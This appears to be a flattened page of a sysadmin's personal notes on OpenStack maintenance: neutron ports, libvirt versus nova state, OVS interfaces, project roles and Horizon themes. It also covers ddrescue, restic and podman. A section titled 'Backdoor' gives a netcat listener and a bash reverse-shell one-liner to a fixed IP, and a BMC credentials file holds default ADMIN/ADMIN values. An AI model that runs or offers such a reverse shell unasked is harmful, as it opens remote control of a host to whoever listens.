OpenStack: Recreate neutron port
Get broken / INACTIVE ports
Get broken / INACTIVE ports
Check kibana logs for
"While synchronizing instance power states, found"
Check libvirt VMs vs. nova DB
COMPUTE_NODE=com1-dev # get shutoff VMs on compute node VMS_COMPUTE=$(ssh ${COMPUTE_NODE} docker exec -i nova_libvirt virsh list --state-shutoff --uuid | sed '/^$/d' | sort) # echo "${VMS_COMPUTE}" # get shutoff VMs from nova DB VMS_NOVA=$(ssh os-admin-dev "source /etc/kolla/admin-openrc.sh; openstack server list --all --host ${COMPUTE_NODE} -c ID -f value --status SHUTOFF" | sort) # echo "${VMS_NOVA}" # diff shutoff VMs comm -3 <(echo "${VMS_COMPUTE}") <(echo "${VMS_NOVA}")
Remove shutdown VM from libvirt
Show bridges without tab device
brctl show | egrep "qvb|tap" | sed '$!N;/\n.*tap/d;P;D' | awk '{print substr($1,4,8)}'
Get interface details
TOKEN=cac559da # show port details docker exec openvswitch_vswitchd ovsdb-client dump | grep ${TOKEN} # get OVS port docker exec openvswitch_vswitchd ovs-vsctl list-ports br-int | grep ${TOKEN} # get OVS interface docker exec openvswitch_vswitchd ovs-vsctl list-ifaces br-int | grep ${TOKEN} # show host bridges brctl show | grep ${TOKEN} # show host interfaces ip a | grep ${TOKEN}
Delete interface
Backdoor
# @host 1 nc -lvp 5001 # @host 2 bash -i >& /dev/tcp/10.0.1.24/5001 0>&1 # @host 1 while :; do hostname; date; sleep 1; done
Links
https://www.cyberciti.biz/faq/bash-infinite-loop/
https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/
https://www.binarytides.com/netcat-tutorial-for-beginners/
https://linoxide.com/linux-how-to/install-use-netcat-command-linux/
Install
apt install -y gddrescue dpkg -i gddrescue_1.22-1_amd64.deb
Rescue
ddrescue /dev/sda sda.dd sda.ddrescue.log
Create project
USER_ID=xxxxxxxxxx PROJECT_ID=xxxxxxxxx openstack project create foo-project --domain bar ROLES=" creator heat_stack_owner load-balancer_member member _member_ " for ROLE in ${ROLES}; do openstack role add --user ${USER_ID} --project ${PROJECT_ID} ${ROLE} done openstack role assignment list --names --user ${USER_ID}
List templates
docker exec -it horizon bash ls -l /var/lib/kolla/venv/lib/python2.7/site-packages/openstack_dashboard/themes
Configure theme
/etc/kolla/horizon/custom_local_settings
AVAILABLE_THEMES = [ ('default', 'Default', 'themes/default'), ('foo_bar', 'Foo bar', 'themes/foo_bar') ] SELECTABLE_THEMES = [ ('foo_bar', 'Foo bar', 'themes/foo_bar') ] DEFAULT_THEME = 'foo_bar'
Install
sudo apt install -y restic
Configure systemd
bmc_credentials.conf
export BMC_USER=ADMIN export BMC_PASS=ADMIN
get-power-consumption.sh
Install
sudo apt-get install -y software-properties-common uidmap sudo add-apt-repository -y ppa:projectatomic/ppa sudo apt-get -y install podman
Container
podman run --name nginx -v /tmp/html:/usr/share/nginx/html:ro -d -p 8080:80 docker://nginx podman run \ -dt \ -p 8080:8080/tcp \ -e HTTPD_VAR_RUN=/var/run/httpd \ -e HTTPD_MAIN_CONF_D_PATH=/etc/httpd/conf.d \ -e HTTPD_MAIN_CONF_PATH=/etc/httpd/conf \ -e HTTPD_CONTAINER_SCRIPTS_PATH=/usr/share/container-scripts/httpd/ \ registry.fedoraproject.org/f27/
Links
https://podman.io/